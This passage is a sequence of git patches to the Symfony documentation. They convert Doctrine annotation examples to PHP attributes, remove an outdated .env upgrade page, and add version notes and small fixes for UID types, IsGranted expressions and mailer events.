-            public function __construct()
-            {
-                $this->products = new ArrayCollection();
-            }
-
-            /**
-             * @return Collection|Product[]
-             */
-            public function getProducts(): Collection
-            {
-                return $this->products;
-            }
-
-            // addProduct() and removeProduct() were also added
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Category.php
@@ -284,7 +222,7 @@ class that will hold these objects:
         {
             // ...
 
-            #[ORM\OneToMany(targetEntity: Product::class, mappedBy: "category")]
+            #[ORM\OneToMany(targetEntity: Product::class, mappedBy: 'category')]
             private $products;
 
             public function __construct()
@@ -647,24 +585,13 @@ that behavior, use the `orphanRemoval`_ option inside ``Category``:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Category.php
-
-        // ...
-
-        /**
-         * @ORM\OneToMany(targetEntity="App\Entity\Product", mappedBy="category", orphanRemoval=true)
-         */
-        private $products;
-
     .. code-block:: php-attributes
 
         // src/Entity/Category.php
 
         // ...
 
-        #[ORM\OneToMany(targetEntity: Product::class, mappedBy: "category", orphanRemoval: true)]
+        #[ORM\OneToMany(targetEntity: Product::class, mappedBy: 'category', orphanRemoval: true)]
         private $products;
 
 
@@ -681,8 +608,8 @@ Doctrine's `Association Mapping Documentation`_.
 
 .. note::
 
-    If you're using annotations, you'll need to prepend all annotations with
-    ``@ORM\`` (e.g. ``@ORM\OneToMany``), which is not reflected in Doctrine's
+    If you're using attributes, you'll need to prepend all attributes with
+    ``#[ORM\]`` (e.g. ``#[ORM\OneToMany]``), which is not reflected in Doctrine's
     documentation.
 
 .. _`Association Mapping Documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/association-mapping.html
diff --git a/doctrine/events.rst b/doctrine/events.rst
index e64104f88f4..e29cd82c599 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -53,33 +53,6 @@ define a callback for the ``prePersist`` Doctrine event:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Product.php
-        namespace App\Entity;
-
-        use Doctrine\ORM\Mapping as ORM;
-
-        // When using annotations, don't forget to add @ORM\HasLifecycleCallbacks()
-        // to the class of the entity where you define the callback
-
-        /**
-         * @ORM\Entity()
-         * @ORM\HasLifecycleCallbacks()
-         */
-        class Product
-        {
-            // ...
-
-            /**
-             * @ORM\PrePersist
-             */
-            public function setCreatedAtValue(): void
-            {
-                $this->createdAt = new \DateTimeImmutable();
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Product.php
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index 6c1569d411e..31186cc4046 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -46,10 +46,8 @@ A Customer entity::
     use App\Model\InvoiceSubjectInterface;
     use Doctrine\ORM\Mapping as ORM;
 
-    /**
-     * @ORM\Entity
-     * @ORM\Table(name="customer")
-     */
+    #[ORM\Entity]
+    #[ORM\Table(name: 'customer')]
     class Customer extends BaseCustomer implements InvoiceSubjectInterface
     {
         // In this example, any methods defined in the InvoiceSubjectInterface
@@ -66,16 +64,15 @@ An Invoice entity::
 
     /**
      * Represents an Invoice.
-     *
-     * @ORM\Entity
-     * @ORM\Table(name="invoice")
      */
+    #[ORM\Entity]
+    #[ORM\Table(name: 'invoice')]
     class Invoice
     {
         /**
-         * @ORM\ManyToOne(targetEntity="App\Model\InvoiceSubjectInterface")
          * @var InvoiceSubjectInterface
          */
+        #[ORM\ManyToOne(targetEntity: InvoiceSubjectInterface::class)]
         protected $subject;
     }
 
diff --git a/form/form_collections.rst b/form/form_collections.rst
index ca7dd6228f7..4d483d61159 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -407,15 +407,13 @@ you will learn about next!).
 
     .. configuration-block::
 
-        .. code-block:: php-annotations
+        .. code-block:: php-attributes
 
             // src/Entity/Task.php
 
             // ...
 
-            /**
-             * @ORM\ManyToMany(targetEntity="App\Entity\Tag", cascade={"persist"})
-             */
+            #[ORM\ManyToMany(targetEntity: Tag::class, cascade: ['persist'])]
             protected $tags;
 
         .. code-block:: yaml
diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index c4ab8af488d..c62a5230359 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -185,7 +185,7 @@ Security components, as well as the Doctrine ORM. In fact, Flex installed *5* re
 
 But like usual, we can immediately start using the new library. Want to create a
 rich API for a ``product`` table? Create a ``Product`` entity and give it the
-``@ApiResource()`` annotation::
+``#[ApiResource]`` attribute::
 
     <?php
     // src/Entity/Product.php
@@ -194,27 +194,19 @@ rich API for a ``product`` table? Create a ``Product`` entity and give it the
     use ApiPlatform\Core\Annotation\ApiResource;
     use Doctrine\ORM\Mapping as ORM;
 
-    /**
-     * @ORM\Entity()
-     * @ApiResource()
-     */
+    #[ORM\Entity]
+    #[ApiResource]
     class Product
     {
-        /**
-         * @ORM\Id
-         * @ORM\GeneratedValue(strategy="AUTO")
-         * @ORM\Column(type="integer")
-         */
+        #[ORM\Id]
+        #[ORM\GeneratedValue(strategy: 'AUTO')]
+        #[ORM\Column(type: 'integer')]
         private $id;
 
-        /**
-         * @ORM\Column(type="string")
-         */
+        #[ORM\Column(type: 'string')]
         private $name;
 
-        /**
-         * @ORM\Column(type="int")
-         */
+        #[ORM\Column(type: 'integer')]
         private $price;
 
         // ...
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 2302139cbb9..96c4bd9f211 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -19,74 +19,6 @@ that all have constraints on their properties.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/BookCollection.php
-        namespace App\Entity;
-
-        use Doctrine\Common\Collections\ArrayCollection;
-        use Doctrine\Common\Collections\Collection;
-        use Doctrine\ORM\Mapping as ORM;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        /**
-         * @ORM\Entity
-         * @Assert\Traverse
-         */
-        class BookCollection implements \IteratorAggregate
-        {
-            /**
-             * @var string
-             *
-             * @ORM\Column
-             *
-             * @Assert\NotBlank
-             */
-            protected $name = '';
-
-            /**
-             * @var Collection|Book[]
-             *
-             * @ORM\ManyToMany(targetEntity="App\Entity\Book")
-             */
-            protected $books;
-
-            // some other properties
-
-            public function __construct()
-            {
-                $this->books = new ArrayCollection();
-            }
-
-            // ... setter for name, adder and remover for books
-
-            // the name can be validated by calling the getter
-            public function getName(): string
-            {
-                return $this->name;
-            }
-
-            /**
-             * @return \Generator|Book[] The books for a given author
-             */
-            public function getBooksForAuthor(Author $author): iterable
-            {
-                foreach ($this->books as $book) {
-                    if ($book->isAuthoredBy($author)) {
-                        yield $book;
-                    }
-                }
-            }
-
-            // neither the method above nor any other specific getter
-            // could be used to validated all nested books;
-            // this object needs to be traversed to call the iterator
-            public function getIterator()
-            {
-                return $this->books->getIterator();
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/BookCollection.php
@@ -112,7 +44,7 @@ that all have constraints on their properties.
             /**
              * @var Collection|Book[]
              */
-            #[ORM\ManyToMany(targetEntity: Book::class)] 
+            #[ORM\ManyToMany(targetEntity: Book::class)]
             protected $books;
 
             // some other properties
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 7ba0ddf2a1e..6ea04862fba 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -30,31 +30,6 @@ between all of the rows in your user table:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Doctrine\ORM\Mapping as ORM;
-
-        // DON'T forget the following use statement!!!
-        use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        /**
-         * @ORM\Entity
-         * @UniqueEntity("email")
-         */
-        class User
-        {
-            /**
-             * @ORM\Column(name="email", type="string", length=255, unique=true)
-             * @Assert\Email
-             */
-            protected $email;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
@@ -176,35 +151,6 @@ Consider this example:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Service.php
-        namespace App\Entity;
-
-        use Doctrine\ORM\Mapping as ORM;
-        use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
-
-        /**
-         * @ORM\Entity
-         * @UniqueEntity(
-         *     fields={"host", "port"},
-         *     errorPath="port",
-         *     message="This port is already in use on that host."
-         * )
-         */
-        class Service
-        {
-            /**
-             * @ORM\ManyToOne(targetEntity="App\Entity\Host")
-             */
-            public $host;
-
-            /**
-             * @ORM\Column(type="integer")
-             */
-            public $port;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Service.php
diff --git a/security.rst b/security.rst
index fd1d6a4b96b..cc99505d152 100644
--- a/security.rst
+++ b/security.rst
@@ -118,32 +118,21 @@ from the `MakerBundle`_:
     use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
     use Symfony\Component\Security\Core\User\UserInterface;
 
-    /**
-     * @ORM\Entity(repositoryClass=UserRepository::class)
-     */
+    #[ORM\Entity(repositoryClass: UserRepository::class)]
     class User implements UserInterface, PasswordAuthenticatedUserInterface
     {
-        /**
-         * @ORM\Id
-         * @ORM\GeneratedValue
-         * @ORM\Column(type="integer")
-         */
+        #[ORM\Id]
+        #[ORM\GeneratedValue]
+        #[ORM\Column(type: 'integer')]
         private $id;
 
-        /**
-         * @ORM\Column(type="string", length=180, unique=true)
-         */
+        #[ORM\Column(type: 'string', length: 180, unique: true)]
         private $email;
 
-        /**
-         * @ORM\Column(type="json")
-         */
+        #[ORM\Column(type: 'json')]
         private $roles = [];
 
-        /**
-         * @var string The hashed password
-         * @ORM\Column(type="string")
-         */
+        #[ORM\Column(type: 'string')]
         private $password;
 
         public function getId(): ?int
@@ -1823,9 +1812,7 @@ database and every user is *always* given at least one role: ``ROLE_USER``::
     // ...
     class User
     {
-        /**
-         * @ORM\Column(type="json")
-         */
+        #[ORM\Column(type: 'json')]
         private $roles = [];
 
         // ...

From 415059038685f7eccdb0639124a3674b0cd62e07 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Aug 2022 16:22:37 +0200
Subject: [PATCH 2212/5766] [Config] Delete a page that it's no longer needed

---
 configuration.rst                 |   6 --
 configuration/dot-env-changes.rst | 100 ------------------------------
 2 files changed, 106 deletions(-)
 delete mode 100644 configuration/dot-env-changes.rst

diff --git a/configuration.rst b/configuration.rst
index 905e1e65d8a..dfc5eb8a9ac 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -687,12 +687,6 @@ the env files ending in ``.local`` (``.env.local`` and ``.env.<environment>.loca
 **should not be committed** because only you will use them. In fact, the
 ``.gitignore`` file that comes with Symfony prevents them from being committed.
 
-.. caution::
-
-    Applications created before November 2018 had a slightly different system,
-    involving a ``.env.dist`` file. For information about upgrading, see:
-    :doc:`configuration/dot-env-changes`.
-
 .. _configuration-env-var-in-prod:
 
 Configuring Environment Variables in Production
diff --git a/configuration/dot-env-changes.rst b/configuration/dot-env-changes.rst
deleted file mode 100644
index 316bfa01aba..00000000000
--- a/configuration/dot-env-changes.rst
+++ /dev/null
@@ -1,100 +0,0 @@
-Nov 2018 Changes to .env & How to Update
-========================================
-
-In November 2018, several changes were made to the core Symfony *recipes* related
-to the ``.env`` file. These changes make working with environment variables easier
-and more consistent - especially when writing functional tests.
-
-If your app was started before November 2018, your app **does not require any changes
-to keep working**. However, if/when you are ready to take advantage of these improvements,
-you will need to make a few small updates.
-
-What Changed Exactly?
----------------------
-
-But first, what changed? On a high-level, not much. Here's a summary of the most
-important changes:
-
-* A) The ``.env.dist`` file no longer exists. Its contents should be moved to your
-  ``.env`` file (see the next point).
-
-* B) The ``.env`` file **is** now committed to your repository. It was previously ignored
-  via the ``.gitignore`` file (the updated recipe does not ignore this file). Because
-  this file is committed, it should contain non-sensitive, default values. The
-  ``.env`` can be seen as the previous ``.env.dist`` file.
-
-* C) A ``.env.local`` file can now be created to *override* values in ``.env`` for
-  your machine. This file is ignored in the new ``.gitignore``.
-
-* D) When testing, your ``.env`` file is now read, making it consistent with all
-  other environments. You can also create a ``.env.test`` file for test-environment
-  overrides.
-
-* E) `One further change to the recipe in January 2019`_ means that your ``.env``
-  files are *always* loaded, even if you set an ``APP_ENV=prod`` environment
-  variable. The purpose is for the ``.env`` files to define default values that
-  you can override if you want to with real environment values.
-
-There are a few other improvements, but these are the most important. To take advantage
-of these, you *will* need to modify a few files in your existing app.
-
-Updating My Application
------------------------
-
-If you created your application after November 15th 2018, you don't need to make
-any changes! Otherwise, here is the list of changes you'll need to make - these
-changes can be made to any Symfony 3.4 or higher app:
-
-#. Create a new `config/bootstrap.php`_ file in your project. This file loads Composer's
-   autoloader and loads all the ``.env`` files as needed (note: in an earlier recipe,
-   this file was called ``src/.bootstrap.php``; if you are upgrading from Symfony 3.3
-   or 4.1, use the `3.3/config/bootstrap.php`_ file instead).
-
-#. Update your `public/index.php`_ (`index.php diff`_) file to load the new ``config/bootstrap.php``
-   file. If you've customized this file, make sure to keep those changes (but use
-   the rest of the changes).
-
-#. Update your `bin/console`_ file to load the new ``config/bootstrap.php`` file.
-
-#. Update ``.gitignore``:
-
-   .. code-block:: diff
-
-         # .gitignore
-         # ...
-
-         ###> symfony/framework-bundle ###
-       - /.env
-       + /.env.local
-       + /.env.local.php
-       + /.env.*.local
-
-         # ...
-
-#. Rename ``.env`` to ``.env.local`` and ``.env.dist`` to ``.env``:
-
-   .. code-block:: terminal
-
-       # Unix
-       $ mv .env .env.local
-       $ git mv .env.dist .env
-
-       # Windows
-       C:\> move .env .env.local
-       C:\> git mv .env.dist .env
-
-   You can also update the `comment on the top of .env`_ to reflect the new changes.
-
-#. If you're using PHPUnit, you will also need to `create a new .env.test`_ file
-   and update your `phpunit.xml.dist file`_ so it loads the ``config/bootstrap.php``
-   file.
-
-.. _`config/bootstrap.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.2/config/bootstrap.php
-.. _`3.3/config/bootstrap.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/3.3/config/bootstrap.php
-.. _`public/index.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.2/public/index.php
-.. _`index.php diff`: https://github.com/symfony/recipes/compare/8a4e5555e30d5dff64275e2788a901f31a214e79...86e2b6795c455f026e5ab0cba2aff2c7a18511f7#diff-7d73eabd1e5eb7d969ddf9a7ce94f954
-.. _`bin/console`: https://github.com/symfony/recipes/blob/master/symfony/console/3.3/bin/console
-.. _`comment on the top of .env`: https://github.com/symfony/recipes/blob/master/symfony/flex/1.0/.env
-.. _`create a new .env.test`: https://github.com/symfony/recipes/blob/master/symfony/phpunit-bridge/3.3/.env.test
-.. _`phpunit.xml.dist file`: https://github.com/symfony/recipes/blob/master/symfony/phpunit-bridge/3.3/phpunit.xml.dist
-.. _`One further change to the recipe in January 2019`: https://github.com/symfony/recipes/pull/501

From ccbed906a85be69e2d63b3854b13b88d89d11c49 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Aug 2022 12:45:03 +0200
Subject: [PATCH 2213/5766] Wrap some long lines

---
 components/intl.rst | 19 ++++++++++---------
 1 file changed, 10 insertions(+), 9 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 71f98f879fb..387956f85e3 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -166,9 +166,9 @@ to catching the exception, you can also check if a given script code is valid::
 Country Names
 ~~~~~~~~~~~~~
 
-The :class:`Symfony\\Component\\Intl\\Countries` class provides access to the name of all countries according
-to the `ISO 3166-1 alpha-2`_ list and the `ISO 3166-1 alpha-3`_ list
-of officially recognized countries and territories::
+The :class:`Symfony\\Component\\Intl\\Countries` class provides access to the
+name of all countries according to the `ISO 3166-1 alpha-2`_ list and the
+`ISO 3166-1 alpha-3`_ list of officially recognized countries and territories::
 
     use Symfony\Component\Intl\Countries;
 
@@ -233,8 +233,8 @@ Locales
 A locale is the combination of a language, a region and some parameters that
 define the interface preferences of the user. For example, "Chinese" is the
 language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified"
-(script) + "Macau SAR China" (region). The :class:`Symfony\\Component\\Intl\\Locales` class provides access to
-the name of all locales::
+(script) + "Macau SAR China" (region). The :class:`Symfony\\Component\\Intl\\Locales`
+class provides access to the name of all locales::
 
     use Symfony\Component\Intl\Locales;
 
@@ -269,8 +269,8 @@ to catching the exception, you can also check if a given locale code is valid::
 Currencies
 ~~~~~~~~~~
 
-The :class:`Symfony\\Component\\Intl\\Currencies` class provides access to the name of all currencies as well
-as some of their information (symbol, fraction digits, etc.)::
+The :class:`Symfony\\Component\\Intl\\Currencies` class provides access to the name
+of all currencies as well as some of their information (symbol, fraction digits, etc.)::
 
     use Symfony\Component\Intl\Currencies;
 
@@ -317,8 +317,9 @@ to catching the exception, you can also check if a given currency code is valid:
 Timezones
 ~~~~~~~~~
 
-The :class:`Symfony\\Component\\Intl\\Timezones` class provides several utilities related to timezones. First,
-you can get the name and values of all timezones in all languages::
+The :class:`Symfony\\Component\\Intl\\Timezones` class provides several utilities
+related to timezones. First, you can get the name and values of all timezones in
+all languages::
 
     use Symfony\Component\Intl\Timezones;
 

From 311016f79796dc5cdd84c99a6e41873536ebb76d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Aug 2022 15:08:04 +0200
Subject: [PATCH 2214/5766] Minor tweak

---
 security.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index fa60564fab5..2cf429e6dd4 100644
--- a/security.rst
+++ b/security.rst
@@ -1677,7 +1677,8 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
             $mainFirewall = $security->firewall('main');
             // ...
             $mainFirewall->logout()
-                ->path('app_logout') // pass either the *name* or the *path* of the route
+                // the argument can be either a route name or a path
+                ->path('app_logout')
 
                 // where to redirect after logout
                 // ->target('app_any_route')

From 770df1204d283589d632a020873d3f0b922ebe46 Mon Sep 17 00:00:00 2001
From: Jay-Way <jwallrafen@gmail.com>
Date: Thu, 11 Aug 2022 15:35:37 +0200
Subject: [PATCH 2215/5766] Update argument_value_resolver.rst

Fix documentation for Built-In Value Resolvers

The code in the current documentation produces an error when implemented like described. The fix is to not include the FQN of the Enum class, because an instance of BackedEnum is expected.
---
 controller/argument_value_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 3eae1924e05..2f45e7905aa 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -65,7 +65,7 @@ Symfony ships with the following value resolvers in the
                 // this allows all values defined in the Enum
                 'suit' => new EnumRequirement(Suit::class),
                 // this restricts the possible values to the Enum values listed here
-                'suit' => new EnumRequirement([Suit::class, Suit::Diamonds, Suit::Spades]),
+                'suit' => new EnumRequirement([Suit::Diamonds, Suit::Spades]),
             ])]
             public function list(Suit $suit): Response
             {

From b5733a61eeb7877d779057c69f83b3667c63a98a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Aug 2022 17:54:21 +0200
Subject: [PATCH 2216/5766] [Security] Document the usage of expressions in
 IsGranted() attribute

---
 security/expressions.rst | 57 ++++++++++++++++++++++++++++++----------
 1 file changed, 43 insertions(+), 14 deletions(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index 16989fd75ed..6f2bdf27cbf 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -9,27 +9,56 @@ Using Expressions in Security Access Controls
     The best solution for handling complex authorization rules is to use
     the :doc:`Voter System </security/voters>`.
 
-In addition to a role like ``ROLE_ADMIN``, the ``isGranted()`` method also
-accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object::
+In addition to security roles like ``ROLE_ADMIN``, the ``isGranted()`` method
+and ``#[IsGranted()]`` attribute also accept an
+:class:`Symfony\\Component\\ExpressionLanguage\\Expression` object:
 
-    // src/Controller/MyController.php
-    namespace App\Controller;
+.. configuration-block::
 
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\ExpressionLanguage\Expression;
-    use Symfony\Component\HttpFoundation\Response;
+    .. code-block:: php-attributes
 
-    class MyController extends AbstractController
-    {
-        public function index(): Response
+        // src/Controller/MyController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\ExpressionLanguage\Expression;
+        use Symfony\Component\HttpFoundation\Response;
+
+        class MyController extends AbstractController
         {
-            $this->denyAccessUnlessGranted(new Expression(
+            #[IsGranted(new Expression(
                 '"ROLE_ADMIN" in role_names or (is_authenticated() and user.isSuperAdmin())'
-            ));
+            ))]
+            public function index(): Response
+            {
+                // ...
+            }
+        }
+
+    .. code-block:: php
 
-            // ...
+        // src/Controller/MyController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\ExpressionLanguage\Expression;
+        use Symfony\Component\HttpFoundation\Response;
+
+        class MyController extends AbstractController
+        {
+            public function index(): Response
+            {
+                $this->denyAccessUnlessGranted(new Expression(
+                    '"ROLE_ADMIN" in role_names or (is_authenticated() and user.isSuperAdmin())'
+                ));
+
+                // ...
+            }
         }
-    }
+
+.. versionadded:: 6.2
+
+    The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
 
 In this example, if the current user has ``ROLE_ADMIN`` or if the current
 user object's ``isSuperAdmin()`` method returns ``true``, then access will

From 5cc7135c5cdcd4dc7f80906a7796e8cd91b99502 Mon Sep 17 00:00:00 2001
From: Marcel Siegert <mdotsiegert@gmail.com>
Date: Sat, 11 Jun 2022 03:14:35 +0200
Subject: [PATCH 2217/5766] [DoctrineBridge] Add `NAME` const for UID types

Documentation update for symfony/symfony#46642.
---
 components/uid.rst | 24 ++++++++++++++++--------
 1 file changed, 16 insertions(+), 8 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 6b03971f3e0..ebc031fd50b 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -137,11 +137,12 @@ type, which converts to/from UUID objects automatically::
     namespace App\Entity;
 
     use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Bridge\Doctrine\Types\UuidType;
 
     #[ORM\Entity(repositoryClass: ProductRepository::class)]
     class Product
     {
-        #[ORM\Column(type: 'uuid')]
+        #[ORM\Column(type: UuidType::NAME)]
         private $someProperty;
 
         // ...
@@ -153,12 +154,13 @@ entity primary keys::
     namespace App\Entity;
 
     use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Bridge\Doctrine\Types\UuidType;
     use Symfony\Component\Uid\Uuid;
 
     class User implements UserInterface
     {
         #[ORM\Id]
-        #[ORM\Column(type: 'uuid', unique: true)]
+        #[ORM\Column(type: UuidType::NAME, unique: true)]
         #[ORM\GeneratedValue(strategy: 'CUSTOM')]
         #[ORM\CustomIdGenerator(class: 'doctrine.uuid_generator')]
         private $id;
@@ -180,6 +182,8 @@ of the UUID parameters::
     // src/Repository/ProductRepository.php
 
     // ...
+    use Symfony\Bridge\Doctrine\Types\UuidType;
+
     class ProductRepository extends ServiceEntityRepository
     {
         // ...
@@ -188,8 +192,8 @@ of the UUID parameters::
         {
             $qb = $this->createQueryBuilder('p')
                 // ...
-                // add 'uuid' as the third argument to tell Doctrine that this is a UUID
-                ->setParameter('user', $user->getUuid(), 'uuid')
+                // add UuidType::NAME as the third argument to tell Doctrine that this is a UUID
+                ->setParameter('user', $user->getUuid(), UuidType::NAME)
 
                 // alternatively, you can convert it to a value compatible with
                 // the type inferred by Doctrine
@@ -294,11 +298,12 @@ type, which converts to/from ULID objects automatically::
     namespace App\Entity;
 
     use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Bridge\Doctrine\Types\UlidType;
 
     #[ORM\Entity(repositoryClass: ProductRepository::class)]
     class Product
     {
-        #[ORM\Column(type: 'ulid')]
+        #[ORM\Column(type: UlidType::NAME)]
         private $someProperty;
 
         // ...
@@ -310,12 +315,13 @@ entity primary keys::
     namespace App\Entity;
 
     use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Bridge\Doctrine\Types\UlidType;
     use Symfony\Component\Uid\Ulid;
 
     class Product
     {
         #[ORM\Id]
-        #[ORM\Column(type: 'ulid', unique: true)]
+        #[ORM\Column(type: UlidType::NAME, unique: true)]
         #[ORM\GeneratedValue(strategy: 'CUSTOM')]
         #[ORM\CustomIdGenerator(class: 'doctrine.ulid_generator')]
         private $id;
@@ -338,6 +344,8 @@ of the ULID parameters::
     // src/Repository/ProductRepository.php
 
     // ...
+    use Symfony\Bridge\Doctrine\Types\UlidType;
+
     class ProductRepository extends ServiceEntityRepository
     {
         // ...
@@ -346,8 +354,8 @@ of the ULID parameters::
         {
             $qb = $this->createQueryBuilder('p')
                 // ...
-                // add 'ulid' as the third argument to tell Doctrine that this is a ULID
-                ->setParameter('user', $user->getUlid(), 'ulid')
+                // add UlidType::NAME as the third argument to tell Doctrine that this is a ULID
+                ->setParameter('user', $user->getUlid(), UlidType::NAME)
 
                 // alternatively, you can convert it to a value compatible with
                 // the type inferred by Doctrine

From 70cf267271e7baf613a9a45e7a8273e879186a62 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Aug 2022 17:06:34 +0200
Subject: [PATCH 2218/5766] Add the versionadded directives

---
 components/uid.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index ebc031fd50b..8e78fe76da4 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -148,6 +148,10 @@ type, which converts to/from UUID objects automatically::
         // ...
     }
 
+.. versionadded:: 6.2
+
+    The ``UuidType::NAME`` constant was introduced in Symfony 6.2.
+
 There's also a Doctrine generator to help auto-generate UUID values for the
 entity primary keys::
 
@@ -309,6 +313,10 @@ type, which converts to/from ULID objects automatically::
         // ...
     }
 
+.. versionadded:: 6.2
+
+    The ``UlidType::NAME`` constant was introduced in Symfony 6.2.
+
 There's also a Doctrine generator to help auto-generate ULID values for the
 entity primary keys::
 

From fcd3d4b1af251da74b13b29f3e5f3e3f5cf7196d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Aug 2022 17:26:27 +0200
Subject: [PATCH 2219/5766] Add the versionadded directive

---
 reference/configuration/framework.rst | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d31f0c92f64..2af23cfd7b0 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1300,9 +1300,13 @@ collect_serializer_data
 
 **type**: ``boolean`` **default**: ``false``
 
-This option enables the serializer data collector and profiler panel. If set
-to ``true``, all normalizers and encoders are decorated by traceable implementations
-that are meant to collect profiling information about them.
+Set this option to ``true`` to enable the serializer data collector and its
+profiler panel. When this option is ``true``, all normalizers and encoders are
+decorated by traceable implementations that collect profiling information about them.
+
+.. versionadded:: 6.1
+
+    The ``collect_serializer_data`` option was introduced in Symfony 6.1.
 
 rate_limiter
 ~~~~~~~~~~~~

From 11abc81c0cb4d5c7f14583f24744b4e9ca0e7f4d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Aug 2022 17:41:04 +0200
Subject: [PATCH 2220/5766] Minor syntax fix

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 6546657d18b..1c9ce35e385 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -877,7 +877,7 @@ To use Symfony's built-in AMQP transport, you need the AMQP PHP extension.
     By default, the transport will automatically create any exchanges, queues and
     binding keys that are needed. That can be disabled, but some functionality
     may not work correctly (like delayed queues).
-    To not autocreate any queues, you can configure a transport with `queues: []`.
+    To not autocreate any queues, you can configure a transport with ``queues: []``.
 
 The transport has a number of other options, including ways to configure
 the exchange, queues, binding keys and more. See the documentation on

From 70fa4c0af8cc5a3dfde5d185a1d5e6f1531b972f Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Fri, 22 Apr 2022 11:25:28 +0200
Subject: [PATCH 2221/5766] Add event subscriber example to mailer
 documentation

---
 mailer.rst | 33 +++++++++++++++++++++++++++++++++
 1 file changed, 33 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 9f26c769d82..97eae836c00 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1021,6 +1021,39 @@ you have a transport called ``async``, you can route the message there:
 Thanks to this, instead of being delivered immediately, messages will be sent to
 the transport to be handled later (see :ref:`messenger-worker`).
 
+Events
+------
+
+MessageEvent
+~~~~~~~~~~~~
+
+The MessageEvent allows the transformation of a Message and the Envelope before the email is sent::
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Mailer\Event\MessageEvent;
+    use Symfony\Component\Mime\Email;
+
+    class MailerSubscriber implements EventSubscriberInterface
+    {
+        public static function getSubscribedEvents()
+        {
+            return [
+                MessageEvent::class => 'onMessage',
+            ];
+        }
+
+        public function onMessage(MessageEvent $event): void
+        {
+            $message = $event->getMessage();
+            if (!$message instanceof Email) {
+                return;
+            }
+
